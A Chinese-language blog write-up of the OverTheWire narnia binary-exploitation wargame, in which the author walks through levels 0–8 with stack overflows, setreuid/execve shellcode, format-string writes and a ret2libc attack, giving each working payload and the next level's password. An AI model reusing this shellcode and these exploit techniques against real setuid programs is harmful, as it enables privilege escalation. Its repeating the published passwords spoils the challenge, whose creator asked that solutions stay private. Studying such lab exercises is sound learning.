前言
- narnia 是 overthewire 上的一个二进制漏洞闯关游戏,总共有9个关卡 
 平台上编译的二进制可执行文件没有开启 ASLR,关闭了 DEP 以及栈保护。该系列在 overthewire 上的难度系数是 2/10。
- 在通关结尾处作者提到如下 
 作者想保证游戏的体验度,不希望大家把 writeup 公布出来,犹豫了好久,决定还是把解题过程放出来吧,一方面记录自己入坑二进制的过程,另一方面希望能给其他同学一些参考。level 1: narnia0 -> narnia1source code1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 int main(){
 long val=0x41414141;
 char buf[20];
 printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
 printf("Here is your chance: ");
 scanf("%24s",&buf);
 printf("buf: %s\n",buf);
 printf("val: 0x%08x\n",val);
 if(val==0xdeadbeef){
 setreuid(geteuid(),geteuid());
 system("/bin/sh");
 }
 else {
 printf("WAY OFF!!!!\n");
 exit(1);
 }
 return 0;
 }
writeup
- 根据源码可以知道是要覆盖 val 变量的值,以让 val 等于 - 0xdeadbeef。但是需要注意一点的是小端序,即要把- \xef放到低地址处
- 从结果看,应当执行成功了,但是没有正常返回 shell,原因是管道输出给程序后,就会自动关闭,导致 shell 无法正常打开 
  
- 这里修改一下 payload,可以看到成功执行: 
  - payload- 1 - (python -c 'print "A" * 20 + "\xef\xbe\xad\xde"';cat) | ./narnia0 
solution
- efeidiedae
level 2: narnia1 -> narnia2
source code
| 1 | 
 | 
writeup
- 主程序首先声明一个函数指针 - ret,它会读取环境变量- EGG的值并执行,因此,我们可以在 bash 中将- EGG的值设成一个- shellcode
- 我们先用如下一段 - shellcode:- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- xor %eax,%eax 
 push %eax
 push $0x68732f2f ; //sh
 push $0x6e69622f ; /bin
 mov %esp,%ebx
 mov %eax,%ecx
 mov %eax,%edx
 mov $0xb,%al
 int $0x80
 xor %eax,%eax
 inc %eax
 int $0x80- 转换成操作码为: 
 - \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
 结果如下:
  
 可以看到,只是执行- execve("/bin/sh")的话仍是 narnia1 用户,不能得到 narnia2 的权限;好在程序设置了 SUID 标志位,参考上一题,我们需要执行- setreuid(geteuid(),geteuid());,以让程序根据- narnia1执行文件的 SUID 位将进程的 EUID 变为- narnia2
- 修改 shellcode 
 在之前的shellcode基础上加上如下部分- 1 
 2
 3
 4
 5
 6
 7
 8- 804841c: 31 c0 xor %eax,%eax 
 804841e: b0 c9 mov $0xc9,%al
 8048420: cd 80 int $0x80
 8048422: 89 c3 mov %eax,%ebx
 8048424: 89 c1 mov %eax,%ecx
 8048426: 31 c0 xor %eax,%eax
 8048428: b0 cb mov $0xcb,%al
 804842a: cd 80 int $0x80- 该部分的作用即为 - setreuid(geteuid(),geteuid());
- 成功执行 
  - payload- 1 - export EGG=`python -c 'print "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'` 
solution
- nairiepecu
level 3: narnia2 -> narnia3
source code
| 1 | 
 | 
writeup
- 这是段常见的栈溢出代码,只需要让buf溢出并将main函数的返回值覆盖为 shellcode 地址即可,下面需要进行两件事请,一是寻找main函数的返回地址位置相对于buf的偏移量,二是找出写进去的 shellcode 的地址
- 找函数返回地址相对于buf的偏移量: 
 通过暴力的二分法,我们得到返回地址(也可以借助于msf的测试字符串),buf位置与返回地址的位置相差140个字节。
- 构造 payload,并找到其地址(我们借用上一题的 shellcode): 
 随后在gdb中执行x/250x $esp,得到下列结果: 
 找到 shellcode 的地址:0xffffd7d5
- 最终结果 
 依然要注意,shellcode 的地址采用小端序payload1 ./narnia2 `python -c 'print "A" * 80 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 16 + "\xd5\xd7\xff\xff"'` 
solution
- vaequeezee
level 4: narnia3 -> narnia4
source code
| 1 | 
 | 
writeup
- 一开始看到 strcpy 仍然用之前的方法尝试覆盖,没有成功,因为会把 ofile (以及ifile)覆盖,进入 - 1 
 2
 3
 4- if((ofd = open(ofile,O_RDWR)) < 0 ){ 
 printf("error opening %s\n", ofile);
 exit(-1);
 }- 时会调用 - exit结束程序
- 再看一看代码,似乎如果能将 ofile 的值改成其他文件,就会把 - /etc/narnia_pass/narnia4的内容读到那个文件里,而借助缓冲区溢出的相关原理,我们能很容易的覆盖 ofile 内容
- 我们创建一个重定向输出文件 - /tmp/file,并将 file 写权限打开:- 1 - touch /tmp/file;chmod o+rwx /tmp/file - 于是,进入 - /narnia目录,进行如下操作:
  
 实际上,ofile 的值被我们成功赋值为- /tmp/file但是 ifile 的值却变成了- ./././../etc/narnia_pass/narnia4/tmp/file,直接这么做不行,但我们仍要将 ifile 与- /etc/narnia_pass/narnia4联系起来
- 这不,还有软链接嘛 
  
 这样,ofile 的值是- /tmp/file;ifile 的值是- /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file,而它是- /etc/narnia_pass/narnia4的软链接- payload- 1 
 2
 3
 4
 5- cd /narnia && mkdir -p /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/ && \ 
 ln -s /etc/narnia_pass/narnia4 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
 touch /tmp/file && chmod o+rwx /tmp/file && \
 /narnia/narnia3 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
 cat /tmp/file
solution
- thaenohtai
level 5: narnia4 -> narnia5
source code
| 1 | 
 | 
writeup
- 这里可以直接用level 3的方法的: payload1 ./narnia4 `python -c 'print "A" * 220 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 8 + "\xde\xd7\xff\xff'` 
solution
- faimahchiy
level 6: narnia5 -> narnia6
source code
| 1 | 
 | 
writeup
- 提示似乎是在暗示点什么,之前的题都是缓冲区溢出,这里用到了格式化字符串漏洞的利用。通过 - 1 
 2- printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 
 printf ("i = %d (%p)\n", i, &i);- 打印 - i的地址也给了我们,而前面的- snprintf函数会造成格式化字符串漏洞 
- 先找格式化字符串距离当前位置的偏移  
 偏移量是 5
- 可以向 - 0xffffd62c写数据了 - payload- 1 - ./narnia5 `python -c 'print "\x2c\xd6\xff\xff" + "%.496x%5$n"'` 
solution
- neezocaeng
level 7: narnia6 -> narnia7
source code
| 1 | 
 | 
writeup
- 看代码的后面几行,程序正常执行时会在退出前调用 - fp指向的函数,也就是- puts。如果能让- fp指向一个我们想要的函数(比如- system),再将- b1的值换成我们想要的参数(比如- /bin/sh),配合着之前的- setreuid(geteuid(),geteuid());,我们就能得到- narnia7的 shell 了
- 再看 main 函数前两行 - 1 
 2- char b1[8], b2[8]; 
 int (*fp)(char *)=(int(*)(char *))&puts, i;- 在栈中,b2、b1、fp、i 的地址依次按从低到高的顺序紧密排列,这样,我们借助 - strcpy就可以先让- b1覆盖- fp的值,再让- b2覆盖- b1、- fp的值,就像这样:- 1 
 2- strcpy(b1, "AAAAAAAA<system_addr>") 
 strcpy(b2, "AAAAAAAA/bin/sh");- 这样赋值以后, - fp的值就变成- system函数的地址,- b2的值变成- /bin/sh,- fp(b1)执行的就是- system("/bin/sh")。所以,找到- system函数的地址是本题的关键。
- 库函数地址的差异实际上是 libc 基址的差异,库函数在libc中的偏移是不变的。在开启了 ASLR 的平台上,每次程序载入时,libc 的基址都会不同(比如: - system_addr = libc_start_main_addr - libc_start_main_offset + system_offset)。由于 narnia 平台上关闭了 ASLR,所以只要找到- system地址即可。具体过程如下:- 泄漏libc_start_main函数地址:
 先反汇编main函数,找到printf的地址
  
 设置断点,进入printf函数,查看栈上的内容,在 0060 位置处找到libc_start_main信息:
  
  
 libc_start_main函数地址:0xf7e2f637 - 247 = 0xf7e2f540
- 在libc-database中查看 libc 的版本
  
- 耐心地查看每一个 libc 版本,找到system函数偏移(经检验,本题编译用的是第二个)
  
- 计算system地址:
  
 system_offset = 0xf7e2f637 - 0x18637 + 0x0003a940 = 0xf7e51940
 
- 泄漏
- 利用: 
  - payload- 1 - ./narnia6 $(python -c 'print "A" * 8 + "\x40\x19\xe5\xf7"') $(python -c 'print "A" * 8 + "/bin/sh"') 
solution
- ahkiaziphu
level 8: narnia7 -> narnia8
source code
| 1 | 
 | 
writeup
- main函数最后会调用- vuln(argv[1]),- vuln返回的是- ptrf(),看到- vuln里的- 1 - snprintf(buffer, sizeof buffer, format); - 首先想到利用格式化字符串漏洞覆写 - ptrf的值,使其指向- hackedfunction
- 不过这里不能确定 - format距离调用- snprintf(buffer, sizeof buffer, format);处的偏移位置。比较暴力的办法就是挨个试。
- 最终,试出偏移位置是 6  
payload
| 1 | ./narnia7 `python -c 'print "\x8c\xd5\xff\xff" + "%134514514x%6$n"'` | 
solution
- mohthuphog
level 9: narnia8 -> narnia9
source code
| 1 | 
 | 
writeup
- 在 - func函数里- bok会造成缓冲区溢出,没有其他函数的帮忙,这里需要我们自己写入 shellcode,覆盖- func的返回地址。
- bok比- blah地址低且紧密相连,- 1 
 2- for(i=0; blah[i] != '\0'; i++) 
 bok[i]=blah[i];- 在给 - bok赋值时,如果- argv[1]的长度超过 20,- bok就会覆盖- blah的值,而- blah存放着- argv[1]的基地址指针,修改后就不能正确访问我们的输入字符串了。
- 要想办法找到 - blah原来的值(即输入字符串的基地址),在输入较长的 payload 时注意把输入字符串的基地址覆盖回去,这样就能将后续的输入内容拷贝到- bok中去,进而修改- func的返回地址。
- 先借助反汇编 - func函数部分,我们在- func中的- printf处设置断点 
- 由于 - bok是 20 个字节的缓冲区,我们只需覆盖 20 个字节即可看到 blah 的值 
 即- 0xffffd5fc处的- 0xffffd802,它与- 0xffffd610处的值相同,而这应该就是- b所在位置
- 我们尝试用 - \x02\xd8\xff\xff覆盖- blah 
 发现- b和- blah的地址不一致,而且由于我们增加了- \x02\xd8\xff\xff四个字节,- b的地址相对于刚才减少了 4
- 当我们将地址改成 - \xfe\xd7\xff\xff 
 又和- b的值一致了。经过多次测试我们发现,缓冲区的限制是 20 个字节,计字符串长度为 n+20,则字符串基址将相应地减少 n。比如像这样: - 0xffffd7ee的地址计算方法为:- 0xffffd802 - 4 - 12 - 4,这里也很容易看出,- func函数的返回地址存放在- ABCD所在位置处,因此,我们只需将其改成 shellcode 的地址即可
- 接下来,我们需要知道程序执行时 - blah的实际值 
 然后按照上面的步骤,- 0xffffd80a - 4 - 12 - 4 - 44 = 0xffffd7ca,后面 44 字节是 shellcode 的长度,然后计算 shellcode 的地址- 0xffffd7ca + 20 + 4 + 12 + 4 = 0xffffd7f2作为第二个 4 字节的值,于是成功构造了pyaload: - payload- 1 - ./narnia8 $(python -c 'print "A" * 20 + "\xca\xd7\xff\xff" + "\x90" * 12 + "\xf2\xd7\xff\xff" + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"') 
solution
- eiL5fealae
总结
- 还是太菜了,前后断断续续花了一个多礼拜才写完。对于一些底层基础还是不够扎实,比如 level 7 中的 ret2lib 也是照葫芦画瓢,对程序的装载、链接、空间分配等还是不太了解。
- 要多读书多实践 :)